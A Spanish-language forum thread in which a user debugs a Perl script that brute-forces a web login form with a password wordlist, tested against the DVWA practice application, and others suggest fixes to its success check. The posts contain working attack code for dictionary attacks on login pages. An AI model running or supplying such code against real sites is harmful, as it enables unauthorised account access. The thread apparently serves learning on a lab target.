ayuda con un intento de bruteforce en PERL

Iniciado por Belial & Grimoire, 3 Septiembre 2012, 03:04 AM

0 Miembros y 1 Visitante están viendo este tema.

Belial & Grimoire

hola

estaba tratando de hacer un bruteforce sencillo pero no logro hacer que funcione bien, ya que busca en un diccionario las palabras pero cuando pasa la correcta no se detiene

espero me puedan ayudar porfavor

Este es el codigo perl

Código (perl) [Seleccionar]
use LWP::UserAgent;
use HTTP::Request::Common;

my $target = $ARGV[0];
my $user = $ARGV[1];
my $file = $ARGV[2];
my $bot = $ARGV[3];

unless ($target || $user || $file){
print("modo de uso = brute.pl <target> <user> <wordlist>");
exit 1;
}

if(! -f $file){
print("\n\n -Archivo inexistente o invalido");
exit 1;
}else{

open (WORDLIST, $file);
@word = <WORDLIST>;
close WORDLIST;

print("inicio de bruteforce");
$i = 0;

foreach $words(@word){
chomp $words;
print "- Intentando con pass = $words\n";
$lwp = LWP::UserAgent->new();
$lwp->agent("Mozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0");
$request = $lwp->post($target, ["username" => $user, "password"=>$words, "submit"=>$bot]);
$fondo = $request->content;

if($fondo =~ m/Login failed/i){
chomp $words;
print "\n\n[Usuario] $user\n";
print "[Pass] $word\n";
print "intentos $i\n";
}else{
$i++;
}


}
}



Y este es el codigo php con el que intento que funcione, no se si lo que hago es bueno, o habra otra forma de hacer un bruteforce mas universal

Código (php) [Seleccionar]
<form action="login.php" method="post">

<fieldset>

<label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br />

<label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br />

<p class="submit"><input type="submit" value="Login" name="Login"></p>
</fieldset>
</form>


salu2

.                                 

explorer


Belial & Grimoire

#2
hola

gracias por la respuesta, pero sigue sin funcionar jeje, hice un cambio pero no logro hacerlo funcionar bien, creo el error esta en el ultimo "if" sino entonces no se me ocurre donde mas


Código (perl) [Seleccionar]
#!/usr/bin/perl -w

use LWP::UserAgent;
use HTTP::Request::Common;

my $target = $ARGV[0];
my $user = $ARGV[1];
my $file = $ARGV[2];
my $bot = $ARGV[3];

unless ($target || $user || $file){
print("modo de uso = brute.pl <target> <user> <wordlist><submit>");
exit 1;
}

if(! -f $file){
print("\n\n -Archivo inexistente o invalido");
exit 1;
}else{

open (WORDLIST, $file);
@word = <WORDLIST>;
close WORDLIST;

print("inicio de bruteforce\n");
$i = 0;

foreach $words(@word){
chomp $words;
print "\n- Intentando con pass = $words\n";
$lwp = LWP::UserAgent->new();
$lwp->agent("Mozilla/5.0 (X11; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0");
$request = $lwp->post($target, ["username" => $user, "password"=>$words, "submit"=>$bot]);
$fondo = $request->content;

if($fondo ne "Login failed"){
chomp $words;
print "[Usuario] $user\n";
print "[Pass] $words\n";
print "intentos $i\n";
}else{
$i++;
last;
}
}
}


- Intentando con pass = pa
[Usuario] admin
[Pass] pa
intentos 0

- Intentando con pass = pto
[Usuario] admin
[Pass] pto
intentos 0

- Intentando con pass = password
[Usuario] admin
[Pass] passo
intentos 0

- Intentando con pass = passo
[Usuario] admin
[Pass] passo
intentos 0


supuestamente se deberia detener en el tercero 'password' pero continua
.                                 

RevangelyonX

Hola
Puedes hacer un print de $fondo dentro del bucle?
Gracias
Just Linux
OSCP certified

explorer

¡Ah!, quizás el problema sea

if($fondo ne "Login failed"){


Es casi seguro que $fondo contengo algo más que "Login failed".

Quizás con una expresión regular...

Código (perl) [Seleccionar]
if ($fondo !~  /Login failed/) {

Otro detalle: mueve el $i++ a la primera parte del if(), no al else{}.

Belial & Grimoire

hola

jeje bueno almenos los intentos si funcionaron, tenia que poner $i++ antes de else

pero sigo sin conseguir acceso, ya puse un print y esto me aparecio

Código (perl) [Seleccionar]
- Intentando con pass = nano


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<title>Damn Vulnerable Web App (DVWA) - Login</title>

<link rel="stylesheet" type="text/css" href="dvwa/css/login.css" />

</head>

<body>

<div align="center">

<br />

<p><img src="dvwa/images/login_logo.png" /></p>

<br />

<form action="login.php" method="post">

<fieldset>

<label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br />


<label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br />


<p class="submit"><input type="submit" value="Login" name="Login"></p>

</fieldset>

</form>


<br />



<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />

<!-- <img src="dvwa/images/RandomStorm.png" /> -->

<p>Damn Vulnerable Web Application (DVWA) is a RandomStorm OpenSource project</p>

</div> <!-- end align div -->

</body>

</html>
[Usuario] admin
[Pass] nano
intentos 6



en el php cuando pongo un codigo erroneo, me aparece Login failed, pero no se que mas podria hacer mal
.